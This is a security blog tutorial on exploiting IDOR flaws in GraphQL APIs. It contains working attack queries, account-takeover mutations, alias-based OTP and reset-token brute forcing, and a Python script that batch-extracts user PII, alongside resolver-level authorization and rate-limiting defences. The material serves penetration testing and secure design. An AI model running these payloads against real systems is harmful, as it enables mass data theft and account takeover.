Back to Blog
Exploitation

Exploiting GraphQL APIs: Uncovering Insecure Direct Object References (IDOR)

OffSec Research Team
10 June 2026 • 09:00 AM16 min
Exploiting GraphQL APIs: Uncovering Insecure Direct Object References (IDOR)
TL;DR — GraphQL's strengths — a single endpoint, a self-describing schema, deeply nested queries, and client-chosen fields — are also a gift to attackers hunting Insecure Direct Object References (IDOR) and broken object-level authorization. Because the schema advertises exactly which objects exist and how they connect, and because authorization is so often enforced at the endpoint rather than per object, an attacker can frequently read or mutate another user's data simply by swapping an ID. This article covers GraphQL recon (introspection, suggestions), finding IDOR through queries, mutations and nested relationships, batching attacks for enumeration, and the resolver-level authorization patterns that actually fix it.

Executive Summary

REST APIs spread their attack surface across many URLs (/users/123, /orders/456); GraphQL collapses everything into one endpoint (/graphql) where the body of the request specifies what to fetch. This changes the security model in ways that disproportionately favour the attacker hunting authorization flaws.

The crux is this: in a well-built REST API you might add an authorization middleware on /orders/:id and call it done. In GraphQL there is no per-resource URL to bolt middleware onto. Authorization must be enforced inside every resolver — the function that fetches each field and each related object. Miss it on a single resolver, or on a single nested relationship, and you have an IDOR. And because GraphQL queries can traverse relationships (user -> orders -> paymentMethods -> cardNumber), one missing check deep in the graph can expose data the top-level query appeared to protect.

IDOR — also formalised as BOLA, Broken Object Level Authorization, the #1 entry on the OWASP API Security Top 10 — is when the application uses a client-supplied identifier to fetch an object without verifying the caller is allowed to access that specific object. GraphQL doesn't create IDOR, but its design makes it easier to find, easier to reach through nesting, and easier to exploit at scale via batching.

Recon: The Schema Tells You Everything

The first advantage GraphQL hands an attacker is introspection — a built-in query that returns the entire schema: every type, field, argument, mutation, and relationship.

graphql
query {  __schema {    types { name kind fields { name args { name type { name } } } }    queryType { fields { name } }    mutationType { fields { name } }  }}

This is a map of the entire attack surface. You learn that user(id: ID!) exists, that User has an orders connection, that order has a paymentMethod, and that a deleteUser(id: ID!) mutation is available. Tools like GraphQL Voyager, InQL, graphql-cog, and clairvoyance turn introspection into a navigable graph or even reconstruct the schema when introspection is disabled.

diagram — rendering…
flowchart TD
    A["POST /graphql introspection"] --> B["Full schema:<br/>types, fields, args, mutations"]
    B --> C["Identify ID-taking queries<br/>user(id), order(id), invoice(id)"]
    B --> D["Identify mutations<br/>updateUser, deletePost, transfer"]
    B --> E["Map nested relationships<br/>user.orders.payment.cardNumber"]
    C & D & E --> F["IDOR / BOLA hunting targets"]
    style F fill:#2a0c14,stroke:#ef233c,color:#fee2e2

If introspection is disabled (a common but incomplete hardening), two fallbacks remain:

  • Field suggestions. Many GraphQL servers (Apollo, graphql-js) reply to a typo with Did you mean "email"?. An attacker fuzzes field names and harvests the schema from the suggestions — clairvoyance automates exactly this.
  • Error messages that reveal expected types and arguments leak structure piecemeal.

So "disable introspection" slows recon but rarely stops it. The real fix is authorization, not schema obscurity.

IDOR Class 1 — Direct Object Query

The simplest case: a query takes an object ID and returns the object without checking ownership.

graphql
# Logged in as user 1001, requesting user 1002's dataquery {  user(id: "1002") {    id    email    phone    address    ssnLast4  }}

If the user resolver fetches by ID and serialises the result without asking "is the current viewer allowed to see user 1002?", it returns a stranger's PII. The same pattern hits order(id:), invoice(id:), document(id:), message(id:) — any singular object lookup keyed by a client-supplied identifier.

The IDs themselves often make enumeration trivial. Sequential integer IDs (1001, 1002, 1003) let an attacker iterate the entire dataset. Even UUIDs aren't a fix — they're harder to guess but still vulnerable if leaked elsewhere (in a referral link, an email, a prior response); UUID obscurity is defence in depth, not authorization.

IDOR Class 2 — Mutations (Read IDOR's Dangerous Sibling)

Read IDOR leaks data; mutation IDOR lets an attacker modify or destroy another user's objects. These are usually higher severity.

graphql
# Change someone else's email → account takeover primitivemutation {  updateUser(id: "1002", input: { email: "attacker@evil.com" }) {    id    email  }} # Delete another tenant's resourcemutation {  deletePost(id: "9981") { success }} # Move money / change rolemutation {  updateMembership(orgId: "55", userId: "1002", role: ADMIN) { ok }}

The vulnerability is identical — a client-supplied ID drives the operation with no per-object authorization — but the impact escalates to account takeover, privilege escalation, or data destruction. Always test every ID-taking mutation, not just queries. Developers frequently authorize read paths and forget that mutations need the same per-object check.

IDOR Class 3 — Nested Relationship Traversal

The GraphQL-specific danger. Even if the top-level query is authorized, a nested field's resolver may not be. You reach protected data through an object you're allowed to see.

graphql
query {  me {                          # legitimately my own data    organization {              # I'm a member, allowed      members {                 # list of all members        id        email                   # maybe fine        paymentMethods {        # NESTED — is THIS resolver authorized?          last4          billingAddress        }        privateNotes            # admin-only field, but no field-level check?      }    }  }}

Here the attacker starts from me (always authorized) and walks the graph to data that should be restricted. The paymentMethods resolver may fetch by the parent member's ID without checking that the viewer may see another member's payment data. Nested resolvers are the most commonly under-protected surface in GraphQL, precisely because the developer reasons "the parent query is already authorized" and forgets each edge needs its own check.

diagram — rendering…
sequenceDiagram
    participant V as Viewer (user 1001)
    participant Q as Top-level resolver (me)
    participant N as Nested resolver (paymentMethods)
    V->>Q: query me { org { members { paymentMethods }}}
    Q-->>V: authorized (it's my own me/org)
    Note over N: Resolver for paymentMethods runs PER member
    V->>N: implicitly requests member 1002's payment data
    N-->>V: returns it — NO per-object/field auth check
    Note over V: IDOR via nesting — never queried 1002 directly

IDOR Class 4 — Alias & Batching-Powered Enumeration

GraphQL lets a single request contain many operations via aliases and batching, turning IDOR into mass extraction in one HTTP request — and frequently defeating rate limits that count requests rather than operations.

graphql
# Aliases: pull 100 users in ONE requestquery {  u1:  user(id: "1001") { email ssnLast4 }  u2:  user(id: "1002") { email ssnLast4 }  u3:  user(id: "1003") { email ssnLast4 }  # ... u100: user(id: "1100") { ... }}

Array-based query batching ([ {query...}, {query...} ]) achieves the same. This is also the classic GraphQL way to brute-force — e.g. testing many one-time-password or token values in a single request to slip past per-request throttling:

graphql
mutation {  a: verifyOtp(code: "0000") { token }  b: verifyOtp(code: "0001") { token }  c: verifyOtp(code: "0002") { token }  # thousands of aliases, one request, one "rate-limited" hit}

So GraphQL doesn't just expose IDOR — it amplifies it, letting an attacker enumerate an entire table or brute-force a secret while a naive rate limiter sees a single request.

Testing Methodology

text
GRAPHQL IDOR TEST FLOW 1. Introspect (or clairvoyance/suggestions) → map every ID-taking field & mutation2. Create two accounts: Victim (owns object X) and Attacker3. As Attacker, request Victim's object X by ID (query + mutation)4. Walk nested relationships from any allowed root to restricted leaves5. Alias/batch to enumerate ID ranges and bypass rate limits6. Check field-level exposure: admin-only fields on objects you CAN see7. Confirm impact: read PII, modify/delete, escalate role, brute-force secrets

Key tooling: Burp Suite + InQL (schema parsing, query generation, scanner integration), GraphQL Voyager (visualise relationships to spot juicy nested paths), clairvoyance (schema recovery when introspection is off), and graphql-cop/graphw00f for fingerprinting the server and its misconfigurations.

Reporting tip: demonstrate cross-account impact explicitly — "Account A read Account B's ssnLast4 and changed B's email via updateUser, then enumerated 100 users in a single aliased request." Per-object authorization findings get prioritised when the cross-tenant boundary is shown to be crossed.

Defence: Authorize Every Object, in Every Resolver

diagram — rendering…
flowchart TD
    A["Request reaches a resolver"] --> B{"Authenticated?<br/>(endpoint-level)"}
    B -->|No| Z["Reject"]
    B -->|Yes| C{"Is viewer authorized for<br/>THIS specific object/field?"}
    C -->|No| Z
    C -->|Yes| D["Resolve & return"]
    style C fill:#0c2a22,stroke:#21d48e,color:#d1fae5
    style D fill:#0c2a22,stroke:#21d48e,color:#d1fae5
  • Enforce object-level authorization in resolvers, not just at the endpoint. Authentication ("are you logged in?") is necessary but not sufficient. Every resolver that returns an object keyed by a client ID must verify the current viewer is permitted to access that specific object. This is the single most important fix.
  • Authorize nested resolvers independently. Never assume an authorized parent implies authorized children. The paymentMethods resolver must check the viewer against the member it's resolving, regardless of how the query reached it.
  • Centralise with a policy layer. Hand-checking every resolver invites omissions. Use a consistent authorization framework — graphql-shield rules, field-level directives (@auth(requires: OWNER)), or a policy engine (OPA, Oso/oso-cloud, Cerbos) — so authorization is declarative and auditable rather than scattered.
  • Add field-level authorization for sensitive fields (SSN, payment data, admin-only attributes), so even an object you may see doesn't leak its restricted fields.
  • Constrain batching and query complexity. Apply depth limiting, complexity/cost analysis, query allow-listing (persisted queries), and alias/operation limits. Rate-limit by operation count and cost, not just HTTP requests, to neutralise alias/batch brute-forcing.
  • Disable introspection and field suggestions in production as defence in depth — but never rely on it for security. Authorization is the control; schema obscurity only raises recon cost.
  • Use unpredictable identifiers (UUIDs) to slow enumeration — again, defence in depth, never a substitute for per-object checks.
  • Log and monitor for enumeration patterns — sequential ID access, large aliased queries, repeated cross-account object requests — to detect IDOR exploitation in progress.

Why GraphQL IDOR Is So Common

GraphQL frameworks make it trivial to expose data: define a type, write a resolver that fetches by ID, and it works. Authorization is not automatic — it is an explicit thing the developer must add to every resolver, including nested ones. The schema's expressiveness, the absence of per-resource URLs to hang middleware on, the ease of forgetting nested-edge checks, and the seductive "the parent is already authorized" reasoning combine to make broken object-level authorization the dominant GraphQL vulnerability class. It is, definitionally, OWASP API #1 — and GraphQL's design quietly maximises its likelihood.

GraphQL Batching Attacks: One Request to Enumerate Them All

GraphQL's batching capability — sending an array of operations in a single HTTP request — is designed for performance. In the context of an IDOR vulnerability, it becomes a force multiplier that can drain an entire database table or brute-force authentication secrets while appearing to the rate limiter as a single request.

Array-Based Query Batching

Many GraphQL servers (Apollo, Hasura, others by configuration) support batching by wrapping multiple operation objects in a JSON array:

json
POST /graphql HTTP/1.1Content-Type: application/json [  {"query": "{ user(id: \"1001\") { email ssnLast4 creditCards { number } } }"},  {"query": "{ user(id: \"1002\") { email ssnLast4 creditCards { number } } }"},  {"query": "{ user(id: \"1003\") { email ssnLast4 creditCards { number } } }"},  ...  {"query": "{ user(id: \"2000\") { email ssnLast4 creditCards { number } } }"}]

One HTTP request — potentially 1000 operations. A rate limiter counting HTTP requests sees 1. This turns an IDOR on user(id:) into bulk exfiltration of an entire user table in seconds.

Automation with Python

python
import requests, json TARGET = "https://api.target.example/graphql"HEADERS = {"Cookie": "session=attacker_session", "Content-Type": "application/json"} def batch_enumerate(start, end, session):    batch = [        {"query": f'{{ user(id: "{uid}") {{ id email phone ssnLast4 }} }}'}        for uid in range(start, end)    ]    resp = session.post(TARGET, headers=HEADERS, json=batch, timeout=30)    return resp.json() session = requests.Session()results = []for chunk_start in range(1000, 10001, 100):      # IDs 1000–10000 in batches of 100    batch_results = batch_enumerate(chunk_start, chunk_start + 100, session)    for entry in batch_results:        data = entry.get("data", {}).get("user")        if data:            results.append(data) print(f"Extracted {len(results)} user records")

OTP / Secret Brute-Force via Alias Batching

The particularly dangerous application is brute-forcing one-time codes or password-reset tokens — operations that should be tightly rate-limited per request:

graphql
mutation {  a0000: verifyResetToken(email: "victim@corp.com", token: "000000") { success userId }  a0001: verifyResetToken(email: "victim@corp.com", token: "000001") { success userId }  a0002: verifyResetToken(email: "victim@corp.com", token: "000002") { success userId }  # ... 999 aliases, covering all 1M 6-digit codes in 1000 requests}

If verifyResetToken has no per-alias sub-limit, an attacker can exhaust all 1,000,000 possible 6-digit codes in 1,000 HTTP requests — a trivially fast brute-force of a token that was designed to be unguessable given proper rate limiting.

Detection and Mitigation

text
BATCHING ATTACK MITIGATIONS 1. Disable batch operations if not required by your client use case.   (Apollo Server: plugins to reject array-format requests) 2. Limit aliases per query — many engines allow setting max_aliases.   graphql-ruby:   max_query_depth, complexity analysis   graphql-js:     queryComplexity, maxDepth rules   Strawberry/Ariadne: depth_limit_enabled, complexity validators 3. Rate-limit by OPERATION count, not request count.   Every alias/batch entry counts as a separate operation against the quota. 4. Apply per-operation timeout and cost analysis:   expensive operations (large n-to-many joins) get higher cost;   deny requests where total cost > threshold. 5. Log alias/batch sizes and alert on unusual volumes   (e.g., >10 aliases for a sensitive mutation).

Introspection Enumeration and Schema Reconstruction

Introspection is the most efficient recon tool, but even when it is disabled, attackers have reliable fallbacks. Understanding the full spectrum is essential for both testing and defending.

Full Introspection Query

The canonical introspection dump — use this against any target where introspection is enabled:

graphql
query IntrospectionQuery {  __schema {    queryType { name }    mutationType { name }    subscriptionType { name }    types {      ...FullType    }    directives {      name      description      locations      args { ...InputValue }    }  }} fragment FullType on __Type {  kind name description  fields(includeDeprecated: true) {    name description    args { ...InputValue }    type { ...TypeRef }    isDeprecated deprecationReason  }  inputFields { ...InputValue }  interfaces { ...TypeRef }  enumValues(includeDeprecated: true) { name description isDeprecated }  possibleTypes { ...TypeRef }}fragment InputValue on __InputValue {  name description  type { ...TypeRef }  defaultValue}fragment TypeRef on __Type {  kind name  ofType { kind name ofType { kind name ofType { kind name } } }}

Tools like InQL for Burp Suite send this automatically and generate a structured attack surface map.

Field Suggestion Exploitation (clairvoyance)

When introspection is disabled, GraphQL servers often leak schema information through auto-suggestions in error messages:

graphql
# Probe: send a typoquery { ussrr { id } }# Response: "Cannot query field 'ussrr'. Did you mean 'user'?" query { user { namm } }# Response: "Cannot query field 'namm'. Did you mean 'name', 'email', 'phone'?"

clairvoyance automates this by sending thousands of guesses and harvesting the "Did you mean" responses:

bash
# Installpip install clairvoyance # Run against a target with disabled introspectionclairvoyance https://api.target.example/graphql \  -H "Cookie: session=your_token" \  -o schema.json \  -w /path/to/wordlist.txt      # common field names: id, name, email, admin, role... # Output: a reconstructed .graphql schema file usable in GraphQL Voyager

The resulting schema is often near-complete — enough to identify every ID-taking query and mutation for IDOR testing — even with introspection entirely disabled.

Server Fingerprinting with graphw00f

Before testing, fingerprint the GraphQL implementation — different servers have different security features, misconfiguration defaults, and bypass techniques:

bash
pip install graphw00f graphw00f -d -t https://api.target.example/graphql # Output example:# [*] Detected: Apollo Server (v2.x)# [!] Field suggestions ENABLED# [!] Introspection ENABLED# [!] Batching ENABLED (array format)
EngineDefault introspectionDefault batchingField suggestions
Apollo Server v2EnabledEnabledEnabled
Apollo Server v4Disabled in prodDisabled by defaultDisabled in prod
HasuraEnabled (admin only)EnabledEnabled
graphql-rubyEnabledOpt-inConfigurable
StrawberryEnabledDisabled by defaultEnabled
WPGraphQLEnabledEnabledEnabled

Knowing the engine immediately informs which misconfigurations to probe first, how to structure batch requests, and whether suggestions will respond.

Conclusion and Takeaways

GraphQL is a superb developer experience and, for the authorization-flaw hunter, an equally superb attacker experience. Introspection hands over a complete map of every object and relationship; the single-endpoint model removes the natural place to enforce per-resource authorization; nested queries let an attacker reach restricted data through permitted roots; and aliasing/batching turn a one-off IDOR into mass enumeration and rate-limit-bypassing brute force — all in a single HTTP request. The vulnerability isn't GraphQL itself; it's the near-universal mistake of authenticating at the endpoint while forgetting to authorize each object in each resolver.

For testers, the playbook is mechanical and high-yield: introspect to map ID-taking queries and mutations, create two accounts, swap IDs to prove cross-account read and write, walk nested relationships to find under-protected edges, and batch to demonstrate scale. For builders, the fix is unambiguous and must be applied everywhere: enforce object-level (and field-level) authorization inside every resolver, treat nested edges as independently dangerous, centralise the logic in a declarative policy layer so nothing is missed, and constrain batching and query complexity so a single request can't drain your database. Disabling introspection and using UUIDs are worthwhile speed bumps — but the only thing that actually closes a GraphQL IDOR is checking, on every object, that this caller is allowed to touch this object.